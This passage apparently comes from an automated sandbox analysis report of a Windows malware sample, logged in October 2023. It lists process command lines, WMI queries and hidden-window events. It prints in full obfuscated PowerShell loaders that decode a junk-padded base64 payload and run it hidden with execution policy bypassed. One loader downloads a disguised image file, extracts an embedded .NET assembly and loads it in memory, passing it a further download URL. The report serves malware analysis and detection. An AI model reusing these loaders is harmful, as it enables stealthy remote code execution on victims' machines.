RONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	powershell -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lnhpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

Executes one or more WMI queries (2 events)

wmi	SELECT * FROM Win32_Processor
wmi	select * from Win32_OperatingSystem

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 23, 2023, 1:12 p.m.	thread_identifier: 1376 thread_handle: 0x00000330 process_identifier: 1776 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcU